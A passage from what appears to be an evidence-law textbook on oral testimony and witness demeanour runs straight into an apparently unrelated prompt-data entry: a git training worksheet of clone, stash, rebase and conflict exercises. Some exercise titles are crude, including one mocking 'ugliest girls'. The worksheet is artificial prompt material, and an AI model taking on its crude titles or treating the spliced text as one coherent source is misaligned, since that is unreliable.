court. This preference for oral testimony\u2014which is not shared by civil law jurisdictions\u2014is based upon some or all of the following beliefs: \n\n\u2022 A person is more likely to tell the truth if he or she testifies on oath, and is subject to the threat of prosecution for perjury proceedings. \n\n\u2022 Any falsehoods or inaccuracies in a person\u2019s account are most likely to be exposed if the person is subjected to cross-examination. \n\n\u2022 The tribunal of fact will be better placed to decide whether or not the person is telling\nthe truth, if the person is in court where his or her demeanour can be assessed. \n\n These beliefs are the basis for hearsay rule (discussed in Chapters 5 and 6). The latter belief was recently relied upon by a NSW judge to refuse to let the plaintiff in a civil claim testify while wearing a niqab: \n\n I must take into account whether I would be impeded in my ability to fully assess the reliability and credibility of the evidence of the fi rst plaintiff if I am not aff orded the opportunity of being able to see her face when she gives evidence. I am well aware that the demeanour of a witness and the viewing of their face is not the only way in which credibility is assessed. In some cases the demeanour of a witness may be misleading. However, neither of those considerations can, in my view, mean that I should be completely deprived of having the assistance of seeing her face to assess her credibility.\n\nUpholding this ruling, the NSW Court of Criminal Appeal noted that the witness was the party to the litigation, wanted to give \u2018strongly contentious\u2019 evidence and seemingly would have refused to testify unveiled even from behind a screen or via CCTV.3\n\nThe preference for oral testimony persists despite contemporary studies that generally show that demeanour is a poor or misleading guide to assessing a witness\u2019s testimony. Even though such studies were accepted by New Zealand\u2019s Law Commission when it drafted that nation\u2019s evidence statute, its Supreme Court had ruled out routinely telling jurors of the pitfalls of using demeanour. Such a warning, it said, would be \u2018inconsistent with important features of the legislative context\u2019, notably this statutory provision:\n\n(1) The ordinary way for a witness to give evidence is,\u2014\n\n(a) in a criminal or civil proceeding, orally in a courtroom in the presence of\u2014\n\n (i) the Judge or, if there is a jury, the Judge and jury; and\n\n(ii) the parties to the proceeding and their counsel; and\n\n(iii) any member of the public who wishes to be present, unless excluded by order of the Judge.4\n\nInstead, the Court devised a broader direction on the many ways that a witness\u2019s testimony can be assessed, combined with the following caution:\n\nI must warn you, though, that simply observing witnesses and watching their demeanour as they give evidence is not a good way to assess the truth or falsity of their evidence. For example, a witness may not appear confident or may hesitate, fidget or look away when giving evidence. That doesn\u2019t necessarily mean that their evidence is untruthful. The witness may be understandably nervous giving evidence in an unfamiliar environment in front of unknown people. Or there may be cultural reasons for the way a witness presents. On the other hand, a witness may appear confident, open and persuasive but nevertheless be \nuntruthful. And remember that even an honest witness can be mistaken. Things like gestures or tone of voice may sometimes help you to understand what the witness actually means. But you should be cautious about thinking that they will help you much in determining whether or not the witness is telling the truth.5\n\nIn the particular case before it, the Court ruled that a trial judge\u2019s failure to direct jurors about the dangers of demeanour caused no miscarriage of justice in relation to a prosecutor drawing attention to a rape complainant\u2019s expression as she was shown video of a towel that she said was used to restrain her during a rape.\n\nIn Australia\u2014including under the uniform evidence law\u2014the same preference for oral testimony is derived from the common law. In Butera v Director of Public Prosecutions,6 for example, it was justified in the following way:\n\nA witness who gives evidence orally demonstrates, for good or ill, more about his or her credibility than a witness whose evidence is given in documentary form. Oral evidence is public; written evidence may not be. Oral evidence gives to the trial the atmosphere that, though intangible, is often critical to the jury\u2019s estimate of the witness. By generally restricting the jury to consideration of testimonial evidence in its oral form, it is thought that the jury\u2019s discussion of the case in the jury room will be more open, the exchange of views among jurors will be easier, and the legitimate merging of opinions will more easily occur than if the evidence were given in writing or the jurors were each armed with a written transcript of the evidence.7\n\nContemporary legislatures nevertheless recognise the need for exceptions to the principle of orality, as the intimidatingly formal atmosphere of a courtroom may make testifying unduly stressful for some witnesses, and this may affect the quality of their evidence.\n\nAll of the uniform evidence legislation jurisdictions, therefore, make special arrangements for certain classes of witnesses. Typically, these arrangements are available when the witness is a child, is subject to some intellectual disability, or is the complainant in proceedings for an alleged sexual offence. However, the relevant provisions are not contained in the uniform evidence legislation, and the arrangements and the circumstances in which they are available vary in their details from jurisdiction to jurisdiction. A variety of special arrangements can be ordered, including the following:\n\n\u2022 The judge may exclude people from the courtroom while the witness is testifying.8\n\n\u2022 The judge may direct counsel not to robe, or to remain seated while questioning the witness.9\n\n\u2022 The judge may permit the witness to be accompanied by someone who can provide him or her with emotional support while he or she gives evidence.10\n\n\u2022 The judge may order the use of screens to remove the defendant from the witness\u2019s field of vision.11\n\n\u2022 An unrepresented defendant, defending a charge of sexual assault, may not be permitted to cross-examine the complainant.12\n\n\u2022 The witness may be permitted to give his or her evidence from a place other than \nthe courtroom by means of closed-circuit television or \u2018live-link\u2019.13\n\n\u2022 The witness\u2019s evidence may be received in a pre-recorded form. In some jurisdictions, this has now been mandated as the \u2018normal\u2019 method for certain classes of witness to give evidence.14\n\nHowever, two decades after Butera, a majority of the High Court applied that case\u2019s principles to hold that even the most dramatic of alternative practices\u2014the pre-recording of some witnesses\u2019 testimony, an obvious exception to the hearsay rule\u2014does not alter the rules for how such \u2018testimony\u2019 is presented in court. The High Court accordingly held that such recordings are generally to be played once in open court and that the tape should generally never be given to the jury to watch inside the jury room. Only Heydon J disagreed, arguing that the legislature had clearly signalled that the \u2018principle of orality\u2019 comes second to other concerns in such cases.15\n\nThis chapter discusses the means by which evidence is given by witnesses in accordance with the tradition of orality. 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      "prompt": "Exercise 1 - prepare basic git environment\ngit clone https://github.com/lsnp/slideshow\\_.git\n1. Prepare 'slideshow' project:\na) clone it from the link provided by the trainer\n(git clone)\n- remove '.git' folder from 'slideshow\\_'\n(cd slideshow\\_; rm -rf .git)\nb) initialize project in 'slideshow\\_'\n(git init, ls -la, git add, git commit)\nc) create folder for all of your git projects\n and make bare project called 'slideshow.git'\n(~/repos, cd ~/repos, git clone --bare)\nd) create first working copy of 'slideshow.git', name it\n'wc1'\n(git clone)\ne) check status in both repos, 'wc1' and 'slideshow.git',\nand analize messages - what can you tell?\n(git status, ls)\nExercise 2 - more working copies Exercise 3 - daily routine\n2. Create another working copy 'wc2' from bare repo\n 3. In 'wc1':\na) make some order with folders\n- move all pictures into new folder (pic)\n(use 'mv' and check the repo with 'status' and\n'diff')\n- move all javascript files into new folder (js)\n(use 'git mv' and check the repo)\nb) analize situation - what can you observe? (-:\nc) add to cache changes from a)\n(git add)\nd) check the repo\ne) create revision\n(git commit)\nf) check the repo\ng) send changes to remote repo\n(git push)\nh) check the repo\ni) add new file 'logo5.html', copy file 'logo.html' into\nit\nyou did in the first exercise\n (git clone)\n \n and change type of picture rotation\n (in the first row all should have 'left')\n j) check the repo (wc1), status, diff\n k) send changes to remote repo\n l) check the repo again\n Exercise 4 - synchronize with others Exercise 5 - empty folder, daily routine con't\n4. Actualize 'wc2' and analize messages\n (git pull, git status)\n 5. In 'wc2':\n a) create new empty catalog 'html'\n - check status - what happened?\n - send changes to remote repository (how?)\n - check status\n b) in 'html' folder place all files with extension\n '.html'\n - check status, but don't commit yet\n c) create new file \"logo\\_jq2.js\", copy \"logo\\_jq1.js\"\n and change parameters (delay, speed, timeout) for\n rotation\n of type 'slideY'\n - check the repo and analyze messages\n - send changes to remote repository\n - check the repo again\n d) test your project - what are the conclusions?\n Exercise 6 - even more daily routine\nExercise 7 - time machine, stage\n6. In 'wc1'\n a) cut 'css' code from 'logo.html', place it in new file\n \"logo.css\" and link it:\n - check the repo and analyze messages\n - send changes to remote repo\n b) actualize 'wc1' and analyze messages\n c) send changes to remote repo\n 7. In 'wc2':\n a) remove \"logo5.html\", use just 'rm'\n- check the repo and analyze messages\n - go back (git checkout)\n b) remove \"logo5.html\" again, but this time use\n 'git rm'\n - check the repo and analize messages\n - go back (git reset, git checkout)\n \n c) finally remove \"logo5.html\" and send changes to remote\n repo\n d) actualize wc and analyze messages\n e) change the table frame, in file \"logo.css\" add solid\n rectangle\n - check the repo\n - send changes to remote repo\n - check the repo again\n Exercise 8 - am I assertive?\n(make sure that all wc's are clean)\n 8. Provide those changes:\n a) in 'wc1':\n - actualize repo\n - change table frame to dotted in 'logo.css'\n - check status\n - send changes to remote repo\n - check status\n b) in 'wc2':\n - DO NOT actualize repo (-:\n - check status\n - change table frame to dashed in 'logo.css'\n - send changes to remote repo\n - check status\n - what can we do now? (--:\n Exercise 9 - judge Dredd..\nExercise 10 - mirror, mirror who's the prettiest?\nExercise 11 - going back, stashing\n9. Find out who and when created 'logo.css'?\n (git annotate, git blame, git log)\n 10. Check the differences between versions of\n 'logo.css' (git diff, git show)\n a) for one revision\n b) between 2 revisions from before this file was created\n c) between 2 revisions after it appeared\n d) change the order of rev names in c) and do diff again\n - do you have any conclusions?\n 11. Safe way to keep your temporary changes 'out of the\n view':\n a) in 'wc1':\n - show pictures in their default size, comment css rule\n in 'logo.css' ( /\\* ... \\*/ );\n - move changes to remote repo\n \n b) in 'wc2':\n - DO NOT actualize it!\n - change the width of pictures to '190px'\n - do not stage changes yet\n - now actualize it\n - hide your changes temporarily\n (git stash)\n - check status (what does git say to you?)\n - actualize it again\n - reapply temporary changes\n (git stash)\n - what can/should you do now? (discussion)\n - test these ways of 'going back':\n -- git checkout , git checkout master\n -- git checkout , cat , get\n temporary changes from stash\n -- git reset HEAD , git checkout -- , get last change from stash\n -- git revert HEAD\n -- git revert HEAD \n - send changes to remote repo (solve the conflict)\n Exercise 12 - boring history..\n12. Find out what has changed in file \"logo\\_jq1.js\" (git\n log)\n a) in general\n b) between 2 revisions (for example 4 and 7)\n c) between yesterday and today\n d) in short version with:\n - 7 first characters of SHA1\n - one line\n - short comment of revision\n 12.1. Check in a quick way how many of commits did your\n user in 'wc1'\n (shortlog)\n Exercise 13 - Daisy's diary\nExercise 14 - fb ugliest girls\n13. Look at the changes for \"logo.css\" from reflog (git\n reflog)\n a) in general\n b) for concrete branch\n c) clean all reflog\n \n (Clean 'wc1' and 'wc2')\n 14. Binary conflict:\n a) in 'wc2':\n - open gitk (gitk --all &)\n - change .png file and stage it\n - check the difference between stage and HEAD\n - send changes to remote repo\n b) in 'wc1' (go there in another one terminal):\n - DO NOT actualize it!\n - open another gitk (gitk --all &)\n - change .png file\n - send changes to remote repo\n (git checkout --theirs , git add --all, git commit)\n Exercise 15 - lazy deploy\n15. Build new version of the whole project (git archive)\nExercise 16 - headless chick Exercise 17 - tree monkeys\n 16. Use time machine and go back to the 'logo.html' in\n revision 4.\n Check status and go back to the future (-:\n (create 'wc3')\n 17. In 'wc3' create branch 'wc3\\_branch1' (git branch, git\n checkout)\n a) in 'wc3\\_branch1':\n - change 'logo1.html', go back to 'master' and check\n status, switch back to 'wc3\\_branch1'\n - stage your changes, go back to 'master' and check\n status, switch back to 'wc3\\_branch1'\n - commit changes, go back to 'master' and check status,\n switch back to 'wc3\\_branch1'\n - watch changes in gitk (gitk --all &), push changes(?),\n pull changes(?)\n - change height of picture in 'logo.css' to '150px'\n - commit changes\n - check the history, go back to master and check history\n again, any conclusions?\n b) in 'master' apply changes:\n - in 'logo.css' change height to '200px'\n - commit changes\n - add new row in table in 'logo1.html' and commit this\n change, watch it in gitk (refresh with F5)\n - check the history, send changes to remote repo\n - watch it again with gitk (F5)\n \n Exercise 18 - tree monkey con't\n18. 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Git rebase1(watch changes in 'gitk --all &'):\n a) in 'master' add 3 revisions to 'logo\\_jq.js'\n b) create branch 'lackyLuke' and switch to it (git\n checkout -b):\n - start it from HEAD~2\n - add 3 revisions, every each to a different file\n (logo.html, logo1.html, logo2.html)\n c) create branch 'sanchoPancha' and switch to it\n - start it from HEAD~2\n - add 2 revisions, all to the same file (logo.css),\n different lines\n \n d) rebase branch 'lackyLuke' to 'sanchoPancha'\n e) rebase branch 'master' to 'luckyLuke'\n (rebase with conflict)\n 19.1. Git rebase2\n a) create branch 'mniam' and switch to it\n - git checkout -b mniam\n b) add 3 revisions\n - echo mniam >> logo.html\n git commit -m \"mniam\" -a\n - echo mniam1 >> logo1.html\n git commit -m \"mniam1\" -a\n - echo mniam2 >> logo2.html\n git commit -m \"mniam2\" -a\nc) watch changes in 'gitk'\n - gitk --all &\n d) go back to 'master' and make 2 revisions\n - git checkout master\n - echo mniam3 >> logo.html\n git commit -m \"mniam3\" -a\n - echo mniam4 >> logo1.html\n git commit -m \"mniam4\" -a\n e) refresh gitk (F5)\n f) rebase branch 'mniam' to 'master'\n - git branch\n - git branch -a\n - git checkout mniam\n - git rebase master\n - git status\n g) solve the issue\n 19.2. Comparison of 'merge' and 'rebase'\n a) in 'wc1'\n - create branch 'mergy' and commit 3 revisions\n - create branch 'merger' and commit 2 revisions\n - combine those 2 branches with 'merge' (merger into\n mergy)\n b) in 'wc2'\n - do the same two first operations as in a) but use names\n 'reby' i 'rebaser'\n - combine those 2 branches with 'rebase' (rebaser on top\n of reby)\n c) use 'gitk --all &', to compare both ways\n \n 19.3. Reverting 'rebase'\n (git reflog, git reset)\n Exercise 20 - can git do necromancy? Exercise 21 - tagging\n20. Recreate file \"logo5.html\" in 'wc1'\n(git revert?, git checkout?, git show?)\n 21. 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